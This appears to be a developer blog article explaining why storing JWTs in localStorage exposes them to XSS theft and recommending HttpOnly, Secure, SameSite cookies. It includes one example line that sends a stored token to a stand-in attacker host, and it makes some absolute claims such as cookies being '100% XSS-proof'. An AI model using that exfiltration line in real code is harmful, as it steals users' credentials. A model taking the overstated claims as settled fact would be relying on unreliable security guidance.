Why Storing JWTs in LocalStorage is a Security Risk (and What to Use Instead)
Popular web security topic comparing LocalStorage, in-memory tokens, and HttpOnly SameSite cookies. How to protect your users from XSS token theft.
Search any beginner tutorial on web authentication, and you will almost certainly find this pattern:
// ❌ The worst place to store sensitive auth tokens
const { token } = await login(email, password)
localStorage.setItem('access_token', token)
It is easy to implement. It works across tabs. But it is also a critical security vulnerability that leaves your users completely exposed to Cross-Site Scripting (XSS) attacks.
In this article, we'll explain why localStorage is unsafe for session tokens and look at the modern, battle-tested alternatives.
1. Why localStorage is Vulnerable
Any JavaScript code running on your page has unrestricted read access to localStorage:
// Any malicious script can steal your token in 1 line:
fetch('https://attacker.com/steal?token=' + localStorage.getItem('access_token'))
You might think: "I don't write malicious JavaScript in my app!"
True. But modern web applications pull in hundreds of npm dependencies, third-party analytics scripts, chat widgets, and tag managers. If a single compromised npm package or malicious injected <script> tag executes on your origin, an attacker can silently extract every logged-in user's authentication token.
Worse, localStorage has no expiration mechanism. A token stored there persists indefinitely until manually cleared.
2. The Solution: HttpOnly, Secure, SameSite Cookies
The only safe storage mechanism for authentication tokens in a browser is an HttpOnly cookie issued by your backend:
HTTP/1.1 200 OK
Set-Cookie: session_token=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855;
HttpOnly;
Secure;
SameSite=Lax;
Path=/;
Max-Age=604800
Why This is 100% XSS-Proof:
HttpOnly: The browser strictly forbids JavaScript from accessingdocument.cookie. Even if an attacker executes an XSS payload on your page, they physically cannot read the cookie.Secure: The browser will only transmit the cookie over encrypted HTTPS connections.SameSite=Lax: The browser blocks third-party origins from sending the cookie on cross-site requests, protecting against CSRF attacks.
3. What About Single-Page Apps (SPAs) on Separate Domains?
If your frontend is hosted on app.mysaas.com and your API is on api.mysaas.com:
- Set the cookie domain to the parent domain:
Domain=.mysaas.com. - Both subdomains can securely share the authentication cookie without exposing tokens to client-side storage.
Takeaway
Never store sensitive bearer tokens, refresh tokens, or API credentials in localStorage or sessionStorage. Always delegate session security to the browser's native HttpOnly cookie mechanism.
Share this article
Adam Abdel-Djamal
Full Stack DeveloperAdam Abdel-Djamal is a Full-Stack & AI Engineer crafting high-performance web applications with Nuxt, Vue, Laravel, and autonomous AI agents.
Related Articles
6 Common API Mistakes (And How to Fix Them)
From wrong HTTP methods to leaking sensitive data — the errors most developers make when building their first API, and the concrete fixes.
API Rate Limiting in Practice: Token Bucket vs. Sliding Window with Redis
Comparing rate-limiting algorithms to protect your backend against scrapers, credential stuffing, and bot spam with minimal latency overhead.